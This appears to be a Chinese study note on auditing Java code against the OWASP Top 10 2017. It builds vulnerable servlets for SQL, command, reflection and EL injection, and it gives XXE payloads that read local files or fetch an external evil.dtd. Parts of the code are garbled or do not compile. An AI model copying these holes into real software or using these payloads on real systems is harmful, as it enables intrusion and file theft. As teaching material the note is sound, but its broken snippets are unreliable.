第五章OWASPTOP102017漏洞代码审计
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
第五章OWASPTOP102017漏洞代码审计1.sql注⼊
jdbc拼接不当引起的sql注⼊,主要⽤到PreparedStatement
⾃⼰写个案例试⼀下
⽤Servlet的案例
先写个⼯具类
package util;
import java.sql.*;
public class DBConn {
static String url = "jdbc:mysql://localhost:3306/yourdatabase?useUnicode=true&characterEncoding=utf8";
static String user ="root";
static String password ="123456";
static Connection conn=null;
static ResultSet rs=null;
static PreparedStatement ps = null;
public static void init(){
try {
Class.forName("com.mysql.jdbc.Driver");
conn= DriverManager.getConnection(url, user, password);
} catch (Exception e) {
// TODO: handle exception
System.out.println("初始化失败");
e.printStackTrace();
}
}
/**
* 增加修改删除操作
* @param sql
* @return
*/
public static int addUpdDel(String sql){
int i=0;
try {
PreparedStatement ps = conn.prepareStatement(sql);
i=ps.executeUpdate();
} catch (SQLException e) {
// TODO Auto-generated catch block
System.out.println("sql数据库增删改异常");
e.printStackTrace();
}
return i;
}
//数据库查询操作
public static ResultSet selectSql(String sql){
try {
ps=conn.prepareStatement(sql);
rs=ps.executeQuery(sql);
} catch (SQLException e) {
// TODO Auto-generated catch block
System.out.println("sql数据库查询异常");
e.printStackTrace();
}
return rs;
}
//关闭连接
public static void closeConn(){
try {
ps.close();
conn.close();
} catch (SQLException e) {
// TODO Auto-generated catch block
System.out.println("sql数据库关闭异常");
e.printStackTrace();
}
}
}
再写个servlet
@WebServlet("/sqltest")
public class JdbcSqlInject extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
String sql="select * from user_domain where id="+req.getParameter("id");
resp.getWriter().write(sql);
try{
DBConn.init();
ResultSet rs=DBConn.selectSql(sql);
while (rs.next()){
String name=rs.getString("user");
resp.getWriter().write("\n");
resp.getWriter().write(name);
}
} catch (SQLException throwables) {
throwables.printStackTrace();
}
}
}
引⼊驱动mysql-connector-java-5.1.46.jar
访问:
注⼊成功
正确的做法
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String sql = "select * from user_domain where id=?";
String id = req.getParameter("id");
resp.getWriter().write(sql);
try {
DBConn.init();
ResultSet rs = DBConn.selectSql(sql, id);
while(rs.next()) {
String name = rs.getString("user");
resp.getWriter().write("\n");
resp.getWriter().write(name);
}
} catch (SQLException var7) {
var7.printStackTrace();
}
}
//数据库查询操作
public static ResultSet selectSql(String sql,String id){
try {
ps=conn.prepareStatement(sql);
ps.setInt(1,Integer.parseInt(id));
rs=ps.executeQuery();
} catch (SQLException e) {
// TODO Auto-generated catch block
System.out.println("sql数据库查询异常");
e.printStackTrace();
}
return rs;
}
框架注⼊mybatis 之前实践过,就省略了
Hibernate遇到的⽐较少,暂时省略
命令注⼊
写⼀个命令注⼊的Servlet
import org.omg.SendingContext.RunTime;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Arrays;
@WebServlet("/ComTest")
public class ComTest extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
String cmd =req.getParameter("cmd");
Process process= Runtime.getRuntime().exec(cmd);
InputStream in= process.getInputStream();
ByteArrayOutputStream ba=new ByteArrayOutputStream();
byte[] b =new byte[1024];
while ((i= in.read(b))!=-1){
ba.write(b,0,i);
}
resp.getWriter().write(ba.toString());
}
}
命令注⼊的局限
连接符:|,||,&,&&
java环境的命令注⼊局限,连接符拼接的字符串不会产⽣命令注⼊
代码注⼊
就能执⾏任意命令了
@WebServlet("/ReflexTest")
public class ReflexTest extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
String class_name=req.getParameter("name");
String class_method=req.getParameter("method");
String class_method2=req.getParameter("method2");
String Args=req.getParameter("args");
//String[] Args=new String[]{req.getParameter("args").toString()};
try{
Class<?> clazz= Class.forName(class_name);
Method method=clazz.getMethod(class_method);
Object rt=method.invoke(clazz);
clazz.getMethod(class_method2,String.class).invoke(rt, Args);
} catch (ClassNotFoundException | NoSuchMethodException | InvocationTargetException | IllegalAccessException e) {
e.printStackTrace();
}
}
}
是不是觉得这就是你⾃⼰凑出来的,真实项⽬中哪有⼈给你这样设计好了等你⽇,嘿,还就真有
java反序列化命令执⾏中⽤到了Apache Commons cokkections组件3.1版本,有⼀段通过利⽤反射机制完成特定功能的代码。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); }
}
}
那么回顾⼀下java反序列化命令执⾏。
⾸先我们引⼊Apache Commons cokkections的版本,尝试⼀下,⽤InvokerTransformer,到底能不能执⾏runtime
这⾥⽤spring boot maven引⼊吧,⽐较好搞⼀些
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
然后main下执⾏这样的代码:
InvokerTransformer test=new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc.exe"});
Runtime rt=Runtime.getRuntime();
可以确认⼀点transform是可以通过反射机制,执⾏Runtime从⽽命令执⾏的。
5.表达式注⼊
5.1EL表达式注⼊
是⼀种在JSP页⾯获取数据的简单⽅式(只能获取数据,不能设置数据)
语法格式
在JSP页⾯的任何静态部分均可通过:${expression}来获取到指定表达式的值
EL只能从四⼤域中获取属性
page,request,session,application
实例1:获取url参数
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>$Title$</title>
</head>
<body>
${}
</body>
</html>
实例2,实例化java的内置类
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>$Title$</title>
</head>
<body>
${Runtime.getRuntime().exec("calc")}
</body>
</html>
EL表达式注⼊漏洞和SpEL、OGNL等表达式注⼊漏洞是⼀样的漏洞原理的,即表达式外部可控导致攻击者注⼊恶意表达式实现任意代码执⾏。
⼀般的,EL表达式注⼊漏洞的外部可控点⼊⼝都是在Java程序代码中,即Java程序中的EL表达式内容全部或部分是从外部获取的。
案例:
import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
public class Test {
public static void main(String[] args) {
ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
SimpleContext simpleContext = new SimpleContext();
// failed
// String exp = "${''.getClass().forName('ng.Runtime').getRuntime().exec('calc')}";
// ok
String exp = "${''.getClass().forName('ng.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('ng.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}"; ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
System.out.println(valueExpression.getValue(simpleContext));
}
}
但是在实际场景中,是⼏乎没有也⽆法直接从外部控制JSP页⾯中的EL表达式的。
⽽⽬前已知的EL表达式注⼊漏洞都是框架层⾯服务端执⾏的EL表达式外部可控导致的
5.1.2模板注⼊
略
5.2 失效的⾝份认证
略
5.3敏感信息泄露
略
5.4XXE
XML 的解析过程中若存在外部实体,若不添加安全的XML解析配置,则XML⽂档将包含来⾃外部 URI 的数据。
这⼀⾏为将导致XML External Entity (XXE) 攻击,从⽽⽤于拒绝服务攻击,任意⽂件读取,扫内⽹扫描。
在Java中其实存在着⾮常多的解析XML的库,同时由于在Java应⽤中会⼤量地使⽤到XML,因此就会出现使⽤不同的库对XML继续解析,⽽编写这些代码的
研发⼈员并没有相关的安全背景,所以就导致了层出不穷地Java XXE漏洞。
案例1:
DocumentBuilderFactory
案例
@PostMapping(value="/xxetest",produces = "application/xml;charset=UTF-8")
public void xxeTest(@RequestBody String xml) throws ParserConfigurationException, IOException, SAXException { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder();
builder.parse(new InputSource(new StringReader(xml)));
}
POST http://127.0.0.1:8080/xxetest HTTP/1.1
User-Agent: Fiddler
Content-Type: application/xml;charset=UTF-8
Host: 127.0.0.1:8080
Content-Length: 106
<?xml version="1.0"?>
<!DOCTYPE creds SYSTEM "http://**.com/ssrf.php">
<creds>&b;</creds>
收到收到ssrf请求
User-Agent: Java/1.8.0_191
Host: **
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
REMOTE_ADDR:** 2021/09/18 04/36/48pm
其他payload也记录下吧
有回显的
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
引⼊的外部的dtd
<?xml version="1.0"?>
<!DOCTYPE creds SYSTEM "http://127.0.0.1/test/evil.dtd">
<creds>&b;</creds>
**********
http://127.0.0.1/test/evil.dtd的数据
<!ENTITY b SYSTEM "file:///c:/windows/system.ini">
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY % goodies SYSTEM "http://127.0.0.1/test/evil.dtd">
%goodies;
]>
<creds>&b;</creds>
********
evil.dtd
<!ENTITY b SYSTEM "file:///c:/windows/system.ini">
php 的
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]>
<creds>&goodies;</creds>
此外还有
SAXBuilder,
SAXParserFactory,
SAXReader
SAXTransformerFactory,
SchemaFactory,
TransformerFactory ValidatorSample,
XMLReader
5.5失效的访问控制
略
5.6不安全配置
略,但是之后要补充练习
5.7跨站脚本
略
5.8 不安全的反序列化
感觉描述的不太清晰,⽇后查查资料再练习下。
5.9使⽤含有已知漏洞的组件
略
5.10 CRLF注⼊
回车换⾏注⼊漏洞
<html>
<head>
<title>$Title$</title>
</head>
<body>
<%
String val=request.getParameter("val");
Logger log =Logger.getLogger("log");
log.setLevel();
try{
int value =Integer.parseInt(val);
System.out.println(value);
}
catch (Exception e){
("Filed"+val);
}
%>
</body>
</html>。